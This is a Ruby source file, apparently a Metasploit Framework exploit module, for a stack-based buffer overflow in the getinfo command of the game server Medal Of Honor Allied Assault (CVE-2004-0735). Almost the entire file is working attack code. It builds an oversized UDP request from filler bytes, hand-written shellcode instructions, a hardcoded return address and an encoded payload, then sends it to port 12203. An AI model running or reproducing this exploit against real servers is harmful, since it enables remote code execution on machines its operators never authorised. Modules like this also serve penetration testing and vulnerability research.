96 lines
2.6 KiB
Ruby
96 lines
2.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Medal Of Honor Allied Assault getinfo Stack Overflow',
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'Description' => %q{
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This module exploits a stack based buffer overflow in the getinfo
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command of Medal Of Honor Allied Assault.
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},
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'Author' => [ 'Jacopo Cervini' ],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2004-0735'],
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[ 'URL', 'http://www.milw0rm.com/exploits/357'],
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[ 'BID', '10743'],
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[ 'OSVDB', '8061' ],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 512,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Medal Of Honor Allied Assault v 1.0 Universal', { 'Rets' => [ 111, 0x406957 ] }], # call ebx
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],
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'DisclosureDate' => 'Jul 17 2004',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(12203)
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], self.class)
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end
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def exploit
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connect_udp
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# We should convert this to metasm - Patrick
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buf = 'B' * target['Rets'][0]
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buf << "\x68\x76\x76\x76\x76"*9 # PUSH 76767676 x 9
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buf << "\x68\x7f\x7f\x7f\x7f" # PUSH 7F7F7F7F
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buf << "\x57" # PUSH EDI
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buf << "\x58" # POP EAX
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buf << "\x32\x64\x24\x24" # XOR AH,BYTE PTR SS:[ESP+24]
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buf << "\x32\x24\x24" # XOR AH,BYTE PTR SS:[ESP]
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buf << "\x48"*150 # DEC EAX x 150
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buf << "\x50\x50" # PUSH EAX x 2
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buf << "\x53" # PUSH EBX
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buf << "\x58" # POP EAX
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buf << "\x51" # PUSH ECX
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buf << "\x32\x24\x24" # XOR AH,BYTE PTR SS:[ESP]
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buf << "\x6a\x7f" # PUSH 7F
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buf << "\x5e" # POP ESI
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buf << "\x46"*37 # INC ESI
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buf << "\x56"*10 # PUSH ESI
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buf << "\x32\x44\x24\x24" # XOR AL,BYTE PTR SS:[ESP+24]
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buf << "\x49\x49" # DEC ECX
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buf << "\x31\x48\x34" # XOR DWORD PTR DS:[EAX+34],ECX
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buf << "\x58"*11 # POP EAX
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buf << "\x42"*66
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buf << "\x3c"*4
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buf << "\x42"*48
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buf << [ target['Rets'][1] ].pack('V')
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req = "\xff\xff\xff\xff\x02" + "getinfo " + buf
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req << "\r\n\r\n" + make_nops(32) + payload.encoded
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udp_sock.put(req)
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handler
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disconnect_udp
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end
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end |